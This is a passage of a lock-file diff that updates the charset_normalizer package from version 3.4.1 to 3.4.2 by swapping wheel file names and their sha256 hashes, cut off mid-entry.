"sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, - {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, - {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7c48ed483eb946e6c04ccbe02c6b4d1d48e51944b6db70f697e089c193404941"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2d318c11350e10662026ad0eb71bb51c7812fc8590825304ae0bdd4ac283acd"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9cbfacf36cb0ec2897ce0ebc5d08ca44213af24265bd56eca54bee7923c48fd6"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18dd2e350387c87dabe711b86f83c9c78af772c748904d372ade190b5c7c9d4d"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8075c35cd58273fee266c58c0c9b670947c19df5fb98e7b66710e04ad4e9ff86"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5bf4545e3b962767e5c06fe1738f951f77d27967cb2caa64c28be7c4563e162c"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a6ab32f7210554a96cd9e33abe3ddd86732beeafc7a28e9955cdf22ffadbab0"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b33de11b92e9f75a2b545d6e9b6f37e398d86c3e9e9653c4864eb7e89c5773ef"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8755483f3c00d6c9a77f490c17e6ab0c8729e39e6390328e42521ef175380ae6"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:68a328e5f55ec37c57f19ebb1fdc56a248db2e3e9ad769919a58672958e8f366"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:21b2899062867b0e1fde9b724f8aecb1af14f2778d69aacd1a5a1853a597a5db"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-win32.whl", hash = "sha256:e8082b26888e2f8b36a042a58307d5b917ef2b1cacab921ad3323ef91901c71a"}, + {file = "charset_normalizer-3.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:f69a27e45c43520f5487f27627059b64aaf160415589230992cec34c5e18a509"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:be1e352acbe3c78727a16a455126d9ff83ea2dfdcbc83148d2982305a04714c2"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa88ca0b1932e93f2d961bf3addbb2db902198dca337d88c89e1559e066e7645"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d524ba3f1581b35c03cb42beebab4a13e6cdad7b36246bd22541fa585a56cccd"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28a1005facc94196e1fb3e82a3d442a9d9110b8434fc1ded7a24a2983c9888d8"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fdb20a30fe1175ecabed17cbf7812f7b804b8a315a25f24678bcdf120a90077f"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0f5d9ed7f254402c9e7d35d2f5972c9bbea9040e99cd2861bd77dc68263277c7"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:efd387a49825780ff861998cd959767800d54f8308936b21025326de4b5a42b9"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f0aa37f3c979cf2546b73e8222bbfa3dc07a641585340179d768068e3455e544"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e70e990b2137b29dc5564715de1e12701815dacc1d056308e2b17e9095372a82"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:0c8c57f84ccfc871a48a47321cfa49ae1df56cd1d965a09abe84066f6853b9c0"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6b66f92b17849b85cad91259efc341dce9c1af48e2173bf38a85c6329f1033e5"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-win32.whl", hash = "sha256:daac4765328a919a805fa5e2720f3e94767abd632ae410a9062dff5412bae65a"}, + {file = "charset_normalizer-3.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53efc7c7cee4c1e70661e2e112ca46a575f90ed9ae3fef200f2a25e954f4b28"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c"}, + {file = "charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7"}, + {file = "charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cad5f45b3146325bb38d6855642f6fd609c3f7cad4dbaf75549bf3b904d3184"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2680962a4848b3c4f155dc2ee64505a9c57186d0d56b43123b17ca3de18f0fa"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:36b31da18b8890a76ec181c3cf44326bf2c48e36d393ca1b72b3f484113ea344"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4074c5a429281bf056ddd4c5d3b740ebca4d43ffffe2ef4bf4d2d05114299da"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9e36a97bee9b86ef9a1cf7bb96747eb7a15c2f22bdb5b516434b00f2a599f02"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:1b1bde144d98e446b056ef98e59c256e9294f6b74d7af6846bf5ffdafd687a7d"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:915f3849a011c1f593ab99092f3cecfcb4d65d8feb4a64cf1bf2d22074dc0ec4"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:fb707f3e15060adf5b7ada797624a6c6e0138e2a26baa089df64c68ee98e040f"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:25a23ea5c7edc53e0f29bae2c44fcb5a1aa10591aae107f2a2b2583a9c5cbc64"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:770cab594ecf99ae64c236bc9ee3439c3f46be49796e265ce0cc8bc17b10294f"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-win32.whl", hash = "sha256:6a0289e4589e8bdfef02a80478f1dfcb14f0ab696b5a00e1f4b8a14a307a3c58"}, + {file = "charset_normalizer-3.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6fc1f5b51fa4cecaa18f2bd7a003f3dd039dd615cd69a2afd6d3b19aed6775f2"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:76af085e67e56c8816c3ccf256ebd136def2ed9654525348cfa744b6802b69eb"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e45ba65510e2647721e35323d6ef54c7974959f6081b58d4ef5d87c60c84919a"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:046595208aae0120559a67693ecc65dd75d46f7bf687f159127046628178dc45"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75d10d37a47afee94919c4fab4c22b9bc2a8bf7d4f46f87363bcf0573f3ff4f5"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6333b3aa5a12c26b2a4d4e7335a28f1475e0e5e17d69d55141ee3cab736f66d1"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8323a9b031aa0393768b87f04b4164a40037fb2a3c11ac06a03ffecd3618027"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:24498ba8ed6c2e0b56d4acbf83f2d989720a93b41d712ebd4f4979660db4417b"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:844da2b5728b5ce0e32d863af26f32b5ce61bc4273a9c720a9f3aa9df73b1455"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:65c981bdbd3f57670af8b59777cbfae75364b483fa8a9f420f08094531d54a01"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:3c21d4fca343c805a52c0c78edc01e3477f6dd1ad7c47653241cf2a206d4fc58"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:dc7039885fa1baf9be153a0626e337aa7ec8bf96b0128605fb0d77788ddc1681"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-win32.whl", hash = "sha256:8272b73e1c5603666618805fe821edba66892e2870058c94c53147602eab29c7"}, + {file = "charset_normalizer-3.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:70f7172939fdf8790425ba31915bfbe8335030f05b9913d7ae00a87d4395620a"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:005fa3432484527f9732ebd315da8da8001593e2cf46a3d817669f062c3d9ed4"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e92fca20c46e9f5e1bb485887d074918b13543b1c2a1185e69bb8d17ab6236a7"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50bf98d5e563b83cc29471fa114366e6806bc06bc7a25fd59641e41445327836"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:721c76e84fe669be19c5791da68232ca2e05ba5185575086e384352e2c309597"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 